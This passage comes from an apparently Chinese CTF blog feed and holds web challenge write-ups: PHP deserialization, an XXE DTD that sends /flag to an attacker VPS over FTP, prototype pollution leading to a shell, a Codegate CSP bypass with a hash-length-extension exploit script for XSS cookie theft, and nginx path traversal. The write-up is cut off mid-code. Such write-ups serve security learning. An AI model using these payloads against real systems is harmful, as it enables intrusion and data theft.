class="number">0</span>; $i &lt; strlen($s); $i++)</span><br><span class="line">        <span class="keyword">if</span>(!(ord($s[$i]) &gt;= <span class="number">32</span> &amp;&amp; ord($s[$i]) &lt;= <span class="number">125</span>))</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET&#123;<span class="string">&#x27;str&#x27;</span>&#125;)) &#123;</span><br><span class="line"></span><br><span class="line">    $str = (<span class="keyword">string</span>)$_GET[<span class="string">&#x27;str&#x27;</span>];</span><br><span class="line">    <span class="keyword">if</span>(is_valid($str)) &#123;</span><br><span class="line">        $obj = unserialize($str);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们选择读文件，op 处弱类型绕过即可，由于是potected 属性，正常反序列化中会有\0，这个题过滤了不可见字符，需要改成public，或者使用p神提到的S大写，后面可以使用hex编码，即\00。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?str&#x3D;O:11:%22FileHandler%22:3:&#123;s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:1:%22%22&#125;</span><br></pre></td></tr></table></figure><h3 id="filejava"><a href="#filejava" class="headerlink" title="filejava"></a>filejava</h3><p>上传文件，下载文件，发现下载文件处存在任意文件下载，很多<code>../</code>即可。提示在/flag，但是读取不了，应该是过滤了。</p><p>读取web.xml</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-63132edbf5b6c9bc.png" alt="image.png"></p><p>可以看到 file_in_java，读取 file_in_java.war，拉下源码分析，发现有excel处理：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-3b0a3f48c3e2df7a.png" alt="image.png"></p><p>想到excel解析时的xxe，参考<a href="https://www.jishuwen.com/d/2inW/zh-hk，在[Content_Types].xml里插入：">https://www.jishuwen.com/d/2inW/zh-hk，在[Content_Types].xml里插入：</a></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">convert</span> [ </span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY % <span class="meta-keyword">remote</span> <span class="meta-keyword">SYSTEM</span> <span class="meta-string">&quot;http://vps/ext.dtd&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta">%remote;%ccc;%ddd;</span></span><br><span class="line"><span class="meta">]&gt;</span></span><br></pre></td></tr></table></figure><p>ext.dtd</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY % <span class="meta-keyword">bbb</span> <span class="meta-keyword">SYSTEM</span> <span class="meta-string">&quot;file:///flag&quot;</span>&gt;</span><span class="meta">&lt;!ENTITY % <span class="meta-keyword">ccc</span> <span class="meta-string">&quot;&lt;!ENTITY &amp;#37; ddd SYSTEM &#x27;ftp://vps:2121/%bbb;&#x27;&gt;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>2121端口起个ftp，可以读到flag：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-70465bec165a381d.png" alt="image.png"></p><h3 id="notes"><a href="#notes" class="headerlink" title="notes"></a>notes</h3><p>没啥功能，/status执行命令比较可疑。搜了搜undefsafe有原型链污染，思路就是给Object加个属性，值是我们要执行的命令，然后/status遍历的时候就可以执行命令了。</p><p>先修改note处污染：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-43af71abbe3dd7d3.png" alt="image.png"></p><p>再访问/status，可以弹到shell</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-ce5c531276699271.png" alt="image.png"></p><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="you-raise-me-up"><a href="#you-raise-me-up" class="headerlink" title="you_raise_me_up"></a>you_raise_me_up</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line">n = <span class="number">2</span>**<span class="number">512</span></span><br><span class="line">m = <span class="number">391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075</span></span><br><span class="line">c = <span class="number">6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499</span></span><br><span class="line"></span><br><span class="line">flag = discrete_log(Mod(c,n),Mod(m,n))</span><br><span class="line">print(long_to_bytes(flag))</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">  sage exp1.sage</span><br><span class="line">b<span class="string">&#x27;flag&#123;5f95ca93-1594-762d-ed0b-a9139692cb4a&#125;&#x27;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;Web&quot;&gt;&lt;a href=&quot;#Web&quot; class=&quot;headerlink&quot; title=&quot;Web&quot;&gt;&lt;/a&gt;Web&lt;/h2&gt;&lt;h3 id=&quot;AreUSerialz&quot;&gt;&lt;a href=&quot;#AreUSerialz&quot; class=&quot;headerlink&quot; title=&quot;AreUSerialz&quot;&gt;&lt;/a&gt;AreUSerialz&lt;/h3&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>2020 Codegate Web题解</title>
    <link href="https://igml.top/2020/02/10/2020-Codegate/"/>
    <id>https://igml.top/2020/02/10/2020-Codegate/</id>
    <published>2020-02-10T08:19:09.000Z</published>
    <updated>2020-02-24T03:18:01.434Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">文章首发于安全客 https:&#x2F;&#x2F;www.anquanke.com&#x2F;post&#x2F;id&#x2F;198479</span><br></pre></td></tr></table></figure><p>Codegate 还是有很多国际强队参加的，这里记录两道 Codegate Web题。</p><a id="more"></a><h2 id="CSP"><a href="#CSP" class="headerlink" title="CSP"></a>CSP</h2><h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><p>题目给了 api.php 的代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">require_once</span> <span class="string">&#x27;config.php&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">isset</span>($_GET[<span class="string">&quot;q&quot;</span>]) || !<span class="keyword">isset</span>($_GET[<span class="string">&quot;sig&quot;</span>])) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;?&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$api_string = base64_decode($_GET[<span class="string">&quot;q&quot;</span>]);</span><br><span class="line">$sig = $_GET[<span class="string">&quot;sig&quot;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(md5($salt.$api_string) !== $sig)&#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;??&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...</span></span><br><span class="line">$apis = explode(<span class="string">&quot;|&quot;</span>, $api_string);</span><br><span class="line"><span class="keyword">foreach</span>($apis <span class="keyword">as</span> $s) &#123;</span><br><span class="line">    $info = explode(<span class="string">&quot;,&quot;</span>, $s);</span><br><span class="line">    <span class="keyword">if</span>(count($info) != <span class="number">3</span>)</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">    $n = base64_decode($info[<span class="number">0</span>]);</span><br><span class="line">    $p1 = base64_decode($info[<span class="number">1</span>]);</span><br><span class="line">    $p2 = base64_decode($info[<span class="number">2</span>]);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ($n === <span class="string">&quot;header&quot;</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span>(strlen($p1) &gt; <span class="number">10</span>)</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        <span class="keyword">if</span>(strpos($p1.$p2, <span class="string">&quot;:&quot;</span>) !== <span class="literal">false</span> || strpos($p1.$p2, <span class="string">&quot;-&quot;</span>) !== <span class="literal">false</span>) <span class="comment">//Don&#x27;t trick...</span></span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        header(<span class="string">&quot;<span class="subst">$p1</span>: <span class="subst">$p2</span>&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">elseif</span> ($n === <span class="string">&quot;cookie&quot;</span>) &#123;</span><br><span class="line">        setcookie($p1, $p2);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">elseif</span> ($n === <span class="string">&quot;body&quot;</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span>(preg_match(<span class="string">&quot;/&lt;.*&gt;/&quot;</span>, $p1))</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        <span class="keyword">echo</span> $p1;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;\n&lt;br /&gt;\n&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">elseif</span> ($n === <span class="string">&quot;hello&quot;</span>) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;Hello, World!\n&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>题目的 CSP 的策略是 <code>default-src &#39;self&#39;; script-src &#39;none&#39;; base-uri &#39;none&#39;;</code>，这基本给堵死了，直接打 cookie 不可能了。</p><p>index.php 可以给一个API，得到签名，但是不支持一次多个API，我们没有 key，这里明显是一个哈希长度扩展攻击的考点，采用 <code>salt+msg</code>的方式进行哈希。</p><p>接着 api.php，发现可以设置 header，设置 cookie，输出内容。设置 header做了一定过滤，无法覆盖 CSP 设置。body 这部分过滤没啥用，preg_match 的 . 不匹配 \n。</p><p>关键在于使 CSP 失效，可以设置 HTTP 状态码为 102 使 CSP 失效，同时可以执行js。为了验证我本地写了个 php：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">header(<span class="string">&quot;Content-Security-Policy: default-src &#x27;self&#x27;; script-src &#x27;none&#x27;;&quot;</span>);</span><br><span class="line">header(<span class="string">&quot;HTTP/: 102&quot;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br><span class="line">&lt;script&gt;alert(<span class="number">1</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>我用 nimmis/apache-php7 这个镜像起了个 docker，发现 chrome 是不可以的：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-30150a4a16bf06ad.png" alt="image.png"></p><p>开始以为 chrome 版本问题，试了旧版本还是不行。</p><p>我用 mac 自带的 apache 和 php 环境试了一下，发现是可以的。。。</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-0d2d60e00121f497.png" alt="image.png"></p><p>这与 server 还有关系？感兴趣的师傅可以研究解答一下…</p><p>这道题的环境也是可以的，我们随便拿到一个签名，然后用哈希扩展攻击得到想要的签名。</p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> hashpumpy</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://110.10.147.166/&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_sig</span>():</span></span><br><span class="line">    res = requests.get(url + <span class="string">&quot;view.php&quot;</span>, params=&#123;<span class="string">&#x27;name&#x27;</span>: <span class="string">&#x27;gml&#x27;</span>, <span class="string">&#x27;p1&#x27;</span>: <span class="string">&#x27;gml&#x27;</span>, <span class="string">&#x27;p2&#x27;</span>: <span class="string">&#x27;gml&#x27;</span>&#125;).content</span><br><span class="line">    sig, msg = res.split(<span class="string">&quot;/api.php?sig=&quot;</span>)[<span class="number">1</span>].split(<span class="string">&#x27;&quot;&gt;&lt;/iframe&gt;&#x27;</span>)[<span class="number">0</span>].split(<span class="string">&quot;&amp;q=&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> sig, msg.decode(<span class="string">&quot;base64&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sig, msg = get_sig()</span><br><span class="line"></span><br><span class="line">api1 = [<span class="string">&#x27;header&#x27;</span>, <span class="string">&#x27;HTTP/&#x27;</span>, <span class="string">&#x27;102&#x27;</span>]</span><br><span class="line">api2 = [<span class="string">&#x27;body&#x27;</span>, <span class="string">&#x27;&lt;script\n&gt;alert(1)&lt;/script\n&gt;&#x27;</span>, <span class="string">&#x27;&#x27;</span>]</span><br><span class="line"></span><br><span class="line">new_msg = <span class="string">&quot;|%s|%s&quot;</span> % (</span><br><span class="line">    <span class="string">&#x27;,&#x27;</span>.join(c.encode(<span class="string">&quot;base64&quot;</span>).strip() <span class="keyword">for</span> c <span class="keyword">in</span> api1), <span class="string">&#x27;,&#x27;</span>.join(c.encode(<span class="string">&quot;base64&quot;</span>).strip() <span class="keyword">for</span> c <span class="keyword">in</span> api2))</span><br><span class="line"></span><br><span class="line"><span class="comment"># len(salt)=12</span></span><br><span class="line">new_sig, q = hashpumpy.hashpump(sig, msg, new_msg, <span class="number">12</span>)</span><br><span class="line">q = q.encode(<span class="string">&quot;base64&quot;</span>)</span><br><span class="line">print(<span class="string">&#x27;&#123;&#125;api.php?sig=&#123;&#125;&amp;q=&#123;&#125;&#x27;</span>.<span class="built_in">format</span>(url, new_sig, q))</span><br></pre></td></tr></table></figure><p>访问，发现可以弹窗：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-5c671add61b5356a.png" alt="image.png"></p><p>改变 xss payload 为打 cookie的，提交给 bot，可以打到cookie：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-0488b8f15ae89152.png" alt="image.png"></p><h2 id="Render"><a href="#Render" class="headerlink" title="Render"></a>Render</h2><h3 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">It is my first flask project with nginx. Write your own message, and get flag!</span><br><span class="line"></span><br><span class="line">http:&#x2F;&#x2F;110.10.147.169&#x2F;renderer&#x2F; </span><br><span class="line">http:&#x2F;&#x2F;58.229.253.144&#x2F;renderer&#x2F;</span><br><span class="line"></span><br><span class="line">DOWNLOAD : http:&#x2F;&#x2F;ctf.codegate.org&#x2F;099ef54feeff0c4e7c2e4c7dfd7deb6e&#x2F;022fd23aa5d26fbeea4ea890710178e9</span><br></pre></td></tr></table></figure><p>下载可以得到 settings/run.sh：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line">service nginx stop</span><br><span class="line">mv /etc/nginx/sites-enabled/default /tmp/</span><br><span class="line">mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask</span><br><span class="line"></span><br><span class="line">service nginx restart</span><br><span class="line"></span><br><span class="line">uwsgi /home/src/uwsgi.ini &amp;</span><br><span class="line">/bin/bash /home/cleaner.sh &amp;</span><br><span class="line"></span><br><span class="line">/bin/bash</span><br></pre></td></tr></table></figure><p>以及 docker file:</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> python:<span class="number">2.7</span>.<span class="number">16</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ENV</span> FLAG CODEGATE2020&#123;**DELETED**&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> apt-get update</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> apt-get install -y nginx</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> pip install flask uwsgi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ADD</span><span class="bash"> prob_src/src /home/src</span></span><br><span class="line"><span class="keyword">ADD</span><span class="bash"> settings/nginx-flask.conf /tmp/nginx-flask.conf</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ADD</span><span class="bash"> prob_src/static /home/static</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> chmod 777 /home/static</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> mkdir /home/tickets</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> chmod 777 /home/tickets</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ADD</span><span class="bash"> settings/run.sh /home/run.sh</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> chmod +x /home/run.sh</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ADD</span><span class="bash"> settings/cleaner.sh /home/cleaner.sh</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> chmod +x /home/cleaner.sh</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">CMD</span><span class="bash"> [<span class="string">&quot;/bin/bash&quot;</span>, <span class="string">&quot;/home/run.sh&quot;</span>]</span></span><br></pre></td></tr></table></figure><p>我们能从中得到的主要是目录结构，结合题目描述 nginx，应该存在 nginx 目录遍历。</p><p><code>http://110.10.147.169/static../src/uwsgi.ini</code>，可以下到文件。</p><h3 id="获取源码"><a href="#获取源码" class="headerlink" title="获取源码"></a>获取源码</h3><p>读源码：</p><p><code>http://110.10.147.169/static../src/app/__init__.py</code>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask</span><br><span class="line"><span class="keyword">from</span> app <span class="keyword">import</span> routes</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.url_map.strict_slashes = <span class="literal">False</span></span><br><span class="line">app.register_blueprint(routes.front, url_prefix=<span class="string">&quot;/renderer&quot;</span>)</span><br><span class="line">app.config[<span class="string">&quot;FLAG&quot;</span>] = os.getenv(<span class="string">&quot;FLAG&quot;</span>, <span class="string">&quot;CODEGATE2020&#123;&#125;&quot;</span>)</span><br></pre></td></tr></table></figure><p>读routes：</p><p>``<a href="http://110.10.147.169/static../src/app/routes.py`">http://110.10.147.169/static../src/app/routes.py`</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, render_template, render_template_string, request, redirect, abort, Blueprint</span><br><span class="line"><span class="keyword">import</span> urllib2</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> os <span class="keyword">import</span> path</span><br><span class="line"><span class="keyword">from</span> urlparse <span class="keyword">import</span> urlparse</span><br><span class="line"></span><br><span class="line">front = Blueprint(<span class="string">&quot;renderer&quot;</span>, __name__)</span><br><span class="line"></span><br><span class="line"><span class="meta">@front.before_request</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test</span>():</span></span><br><span class="line">    print(request.url)</span><br><span class="line"></span><br><span class="line"><span class="meta">@front.route(&quot;/&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span>():</span></span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">&quot;GET&quot;</span>:</span><br><span class="line">        <span class="keyword">return</span> render_template(<span class="string">&quot;index.html&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    url = request.form.get(<span class="string">&quot;url&quot;</span>)</span><br><span class="line">    res = proxy_read(url) <span class="keyword">if</span> url <span class="keyword">else</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> res:</span><br><span class="line">        abort(<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&quot;index.html&quot;</span>, data = res)</span><br><span class="line"></span><br><span class="line"><span class="meta">@front.route(&quot;/whatismyip&quot;, methods=[&quot;GET&quot;])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ipcheck</span>():</span></span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&quot;ip.html&quot;</span>, ip = get_ip(), real_ip = get_real_ip())</span><br><span class="line"></span><br><span class="line"><span class="meta">@front.route(&quot;/admin&quot;, methods=[&quot;GET&quot;])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">admin_access</span>():</span></span><br><span class="line">    ip = get_ip()</span><br><span class="line">    rip = get_real_ip()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ip <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&quot;127.0.0.1&quot;</span>, <span class="string">&quot;127.0.0.2&quot;</span>]: <span class="comment">#super private ip :)</span></span><br><span class="line">        abort(<span class="number">403</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ip != rip: <span class="comment">#if use proxy</span></span><br><span class="line">        ticket = write_log(rip)</span><br><span class="line">        <span class="keyword">return</span> render_template(<span class="string">&quot;admin_remote.html&quot;</span>, ticket = ticket)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">if</span> ip == <span class="string">&quot;127.0.0.2&quot;</span> <span class="keyword">and</span> request.args.get(<span class="string">&quot;body&quot;</span>):</span><br><span class="line">            ticket = write_extend_log(rip, request.args.get(<span class="string">&quot;body&quot;</span>))</span><br><span class="line">            <span class="keyword">return</span> render_template(<span class="string">&quot;admin_local.html&quot;</span>, ticket = ticket)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> render_template(<span class="string">&quot;admin_local.html&quot;</span>, ticket = <span class="literal">None</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@front.route(&quot;/admin/ticket&quot;, methods=[&quot;GET&quot;])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">admin_ticket</span>():</span></span><br><span class="line">    ip = get_ip()</span><br><span class="line">    rip = get_real_ip()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ip != rip: <span class="comment">#proxy doesn&#x27;t allow to show ticket</span></span><br><span class="line">        <span class="built_in">print</span> <span class="number">1</span></span><br><span class="line">        abort(<span class="number">403</span>)</span><br><span class="line">    <span class="keyword">if</span> ip <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&quot;127.0.0.1&quot;</span>, <span class="string">&quot;127.0.0.2&quot;</span>]: <span class="comment">#only local</span></span><br><span class="line">        <span class="built_in">print</span> <span class="number">2</span></span><br><span class="line">        abort(<span class="number">403</span>)</span><br><span class="line">    <span class="keyword">if</span> request.headers.get(<span class="string">&quot;User-Agent&quot;</span>) != <span class="string">&quot;AdminBrowser/1.337&quot;</span>:</span><br><span class="line">        <span class="built_in">print</span> request.headers.get(<span class="string">&quot;User-Agent&quot;</span>)</span><br><span class="line">        abort(<span class="number">403</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> request.args.get(<span class="string">&quot;ticket&quot;</span>):</span><br><span class="line">        log = read_log(request.args.get(<span class="string">&quot;ticket&quot;</span>))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> log:</span><br><span class="line">            <span class="built_in">print</span> <span class="number">4</span></span><br><span class="line">            abort(<span class="number">403</span>)</span><br><span class="line">        <span class="keyword">return</span> render_template_string(log)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span 